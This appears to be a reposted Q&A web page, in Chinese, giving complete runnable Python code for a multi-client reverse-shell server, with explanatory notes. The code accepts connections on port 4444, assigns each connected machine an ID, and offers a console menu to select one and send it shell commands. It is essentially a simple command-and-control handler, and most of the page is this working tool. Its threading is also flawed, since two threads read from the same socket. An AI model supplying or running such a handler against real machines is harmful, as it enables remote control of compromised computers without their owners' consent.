如何修改Python反向Shell以支持多连接及客户端管理
多客户端反向Shell服务器实现方案
以下是完整的可运行代码,同时附带核心逻辑的拆解说明,解决多客户端连接和服务器交互器的需求:
import socket import threading import sys import time # 线程安全的客户端存储结构:(客户端ID, 套接字对象, 客户端地址) clients = [] client_lock = threading.Lock() client_id_counter = 0 def handle_client(client_socket, client_addr, client_id): """单独处理单个客户端的消息接收逻辑""" global clients print(f"[+] 新客户端接入: ID {client_id} - {client_addr}") try: while True: # 接收客户端执行命令后的输出内容 output = client_socket.recv(4096).decode('utf-8', errors='ignore') if not output: # 客户端主动断开连接时,recv会返回空 break # 打印客户端返回的结果(若要和交互器分离输出,可调整打印位置) print(f"\n[客户端 {client_id}] 输出:\n{output}") except Exception as e: print(f"[!] 客户端 {client_id} 连接异常: {str(e)}") finally: # 清理断开的客户端连接,线程安全操作 with client_lock: clients = [c for c in clients if c[0] != client_id] client_socket.close() print(f"[-] 客户端 {client_id} 已断开") def listen_for_clients(host, port): """后台线程:持续监听新客户端连接""" global client_id_counter server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(5) print(f"[*] 服务器启动成功,监听地址: {host}:{port}") while True: client_socket, client_addr = server_socket.accept() # 线程安全的客户端ID分配与列表添加 with client_lock: client_id_counter += 1 client_id = client_id_counter clients.append((client_id, client_socket, client_addr)) # 启动独立线程处理该客户端,避免阻塞监听逻辑 client_thread = threading.Thread(target=handle_client, args=(client_socket, client_addr, client_id)) client_thread.daemon = True client_thread.start() def server_interactive(): """服务器交互器:管理客户端、发送控制命令""" while True: print("\n===== 服务器控制台 =====") print("1. 列出所有已连接客户端") print("2. 选择客户端执行命令") print("3. 关闭服务器") choice = input("请输入操作序号: ").strip() if choice == '1': with client_lock: if not clients: print("[-] 当前无在线客户端") else: print("[+] 在线客户端列表:") for idx, (client_id, _, client_addr) in enumerate(clients): print(f" {idx+1}. ID: {client_id} | 地址: {client_addr}") elif choice == '2': with client_lock: if not clients: print("[-] 当前无在线客户端") continue print("[+] 在线客户端列表:") for idx, (client_id, _, client_addr) in enumerate(clients): print(f" {idx+1}. ID: {client_id} | 地址: {client_addr}") try: selected_idx = int(input("请输入目标客户端序号: ").strip()) - 1 if selected_idx < 0 or selected_idx >= len(clients): print("[-] 无效的序号,请重新输入") continue client_id, client_socket, _ = clients[selected_idx] except ValueError: print("[-] 请输入有效的数字序号") continue print(f"[+] 已选中客户端 {client_id},输入命令执行,输入'exit'返回控制台") while True: command = input(f"[客户端 {client_id}] # ").strip() if command.lower() == 'exit': break if not command: continue try: client_socket.send(command.encode('utf-8')) # 给客户端预留处理命令的时间,可根据网络情况调整 time.sleep(0.3) output = client_socket.recv(4096).decode('utf-8', errors='ignore') if output: print(f"\n{output}") except Exception as e: print(f"[-] 命令发送失败: {str(e)}") break elif choice == '3': print("[*] 正在关闭服务器...") # 关闭所有客户端连接,释放资源 with client_lock: for _, sock, _ in clients: try: sock.close() except: pass sys.exit(0) else: print("[-] 无效操作,请重新输入") if __name__ == "__main__": # 启动后台监听线程,不阻塞主线程的交互器运行 listen_thread = threading.Thread(target=listen_for_clients, args=('0.0.0.0', 4444)) listen_thread.daemon = True listen_thread.start() # 启动服务器交互器,占据主线程 server_interactive()
核心逻辑说明
线程安全的客户端管理
- 用
threading.Lock()保证多线程对clients列表的修改不会出现竞态问题(比如同时添加/删除客户端导致列表损坏) - 每个客户端分配唯一ID,避免用地址或套接字识别的混乱
- 用
分离监听与交互逻辑
- 将监听客户端的逻辑放到后台线程,主线程专注运行交互器,解决了之前因
accept()阻塞主线程无法操作的问题 - 每个新客户端连接都会启动独立线程处理,实现真正的多客户端并发
- 将监听客户端的逻辑放到后台线程,主线程专注运行交互器,解决了之前因
交互器功能实现
- 菜单式操作,覆盖列出客户端、选择控制、退出服务器三个核心需求
- 选中客户端后直接通过对应的套接字发送命令,接收返回结果直到输入
exit回到主菜单
异常处理与资源清理
- 客户端断开或异常时自动从列表移除并关闭套接字
- 服务器退出时遍历关闭所有客户端连接,避免资源泄漏
内容的提问来源于stack exchange,提问作者Annor Gyimah
相关产品推荐
相关产品推荐

